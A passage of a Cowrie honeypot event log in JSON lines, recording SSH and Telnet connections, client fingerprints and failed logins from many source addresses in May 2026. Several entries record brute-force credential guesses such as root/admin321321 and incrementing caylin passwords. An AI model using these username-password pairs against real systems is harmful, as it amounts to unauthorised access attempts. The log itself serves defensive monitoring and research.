e-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:49.111632Z","src_ip":"14.224.213.222","session":"bb54d40f7e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:49.837211Z","src_ip":"193.32.162.145","session":"a6197e28ea9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer12345","message":"login attempt [deployer/deployer12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:50.141703Z","src_ip":"14.224.213.222","session":"bb54d40f7e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:51.393649Z","src_ip":"14.224.213.222","session":"bb54d40f7e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01046442985535,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:44:26.177014Z","src_ip":"180.235.129.180","session":"72ddf7b235bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183320045471,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:44:27.533135Z","src_ip":"180.235.129.180","session":"4254fd78635e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36770,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd3bcbf35b0d","protocol":"ssh","message":"New connection: 193.32.162.145:36770 (159.203.135.109:22) [session: cd3bcbf35b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:44:57.639658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:44:57.644438Z","src_ip":"193.32.162.145","session":"cd3bcbf35b0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:44:57.766304Z","src_ip":"193.32.162.145","session":"cd3bcbf35b0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sollet","message":"login attempt [ubuntu/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:44:58.084999Z","src_ip":"193.32.162.145","session":"cd3bcbf35b0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:44:59.192611Z","src_ip":"193.32.162.145","session":"cd3bcbf35b0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":40014,"dst_ip":"10.17.0.5","dst_port":22,"session":"67bf526326b5","protocol":"ssh","message":"New connection: 190.244.39.224:40014 (10.17.0.5:22) [session: 67bf526326b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:45:00.903507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:45:00.911111Z","src_ip":"190.244.39.224","session":"67bf526326b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:45:01.109593Z","src_ip":"190.244.39.224","session":"67bf526326b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321321","message":"login attempt [root/admin321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:45:01.908646Z","src_ip":"190.244.39.224","session":"67bf526326b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:45:03.114229Z","src_ip":"190.244.39.224","session":"67bf526326b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.86.234","src_port":39626,"dst_ip":"10.17.0.5","dst_port":23,"session":"32abea8f7938","protocol":"telnet","message":"New connection: 213.230.86.234:39626 (10.17.0.5:23) [session: 32abea8f7938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:16.281566Z"}
{"eventid":"cowrie.session.closed","duration":12.833136558532715,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:29.114572Z","src_ip":"213.230.86.234","session":"32abea8f7938","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":32965,"dst_ip":"10.17.0.5","dst_port":22,"session":"37e163166cd9","protocol":"ssh","message":"New connection: 213.209.159.56:32965 (10.17.0.5:22) [session: 37e163166cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:44.229022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:44.236771Z","src_ip":"213.209.159.56","session":"37e163166cd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:44.318651Z","src_ip":"213.209.159.56","session":"37e163166cd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caylin","password":"caylin","message":"login attempt [caylin/caylin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:44.817929Z","src_ip":"213.209.159.56","session":"37e163166cd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caylin","password":"caylin1","message":"login attempt [caylin/caylin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:45.906231Z","src_ip":"213.209.159.56","session":"37e163166cd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caylin","password":"caylin123","message":"login attempt [caylin/caylin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:46.991387Z","src_ip":"213.209.159.56","session":"37e163166cd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caylin","password":"caylin1234","message":"login attempt [caylin/caylin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:48.077260Z","src_ip":"213.209.159.56","session":"37e163166cd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caylin","password":"caylin12345","message":"login attempt [caylin/caylin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:49.161998Z","src_ip":"213.209.159.56","session":"37e163166cd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:46:50.246321Z","src_ip":"213.209.159.56","session":"37e163166cd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50810,"dst_ip":"159.203.135.109","dst_port":22,"session":"512249a89df1","protocol":"ssh","message":"New connection: 193.32.162.145:50810 (159.203.135.109:22) [session: 512249a89df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:47:06.978026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:47:06.985735Z","src_ip":"193.32.162.145","session":"512249a89df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:47:07.085879Z","src_ip":"193.32.162.145","session":"512249a89df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sollet123","message":"login attempt [ubuntu/sollet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:47:07.387179Z","src_ip":"193.32.162.145","session":"512249a89df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:47:08.490409Z","src_ip":"193.32.162.145","session":"512249a89df1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":43486,"dst_ip":"159.203.135.109","dst_port":23,"session":"39ba876aab93","protocol":"telnet","message":"New connection: 199.103.57.63:43486 (159.203.135.109:23) [session: 39ba876aab93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:48:02.688979Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":39342,"dst_ip":"10.17.0.5","dst_port":22,"session":"392f89056f5e","protocol":"ssh","message":"New connection: 190.244.39.224:39342 (10.17.0.5:22) [session: 392f89056f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:48:25.670596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:48:25.675736Z","src_ip":"190.244.39.224","session":"392f89056f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:48:25.869999Z","src_ip":"190.244.39.224","session":"392f89056f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88888888","message":"login attempt [admin/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:48:26.687460Z","src_ip":"190.244.39.224","session":"392f89056f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:48:27.892850Z","src_ip":"190.244.39.224","session":"392f89056f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.27519392967224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:48:37.964036Z","src_ip":"199.103.57.63","session":"39ba876aab93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36622,"dst_ip":"159.203.135.109","dst_port":22,"session":"611526dcbd9b","protocol":"ssh","message":"New connection: 193.32.162.145:36622 (159.203.135.109:22) [session: 611526dcbd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:49:27.155499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:49:27.160013Z","src_ip":"193.32.162.145","session":"611526dcbd9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:49:27.256702Z","src_ip":"193.32.162.145","session":"611526dcbd9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sol123","message":"login attempt [ubuntu/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:49:27.551489Z","src_ip":"193.32.162.145","session":"611526dcbd9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:49:28.650695Z","src_ip":"193.32.162.145","session":"611526dcbd9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.5.133","src_port":34070,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fc144261a94","protocol":"ssh","message":"New connection: 74.48.5.133:34070 (10.17.0.5:22) [session: 4fc144261a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:23.972561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:23.977510Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.048877Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
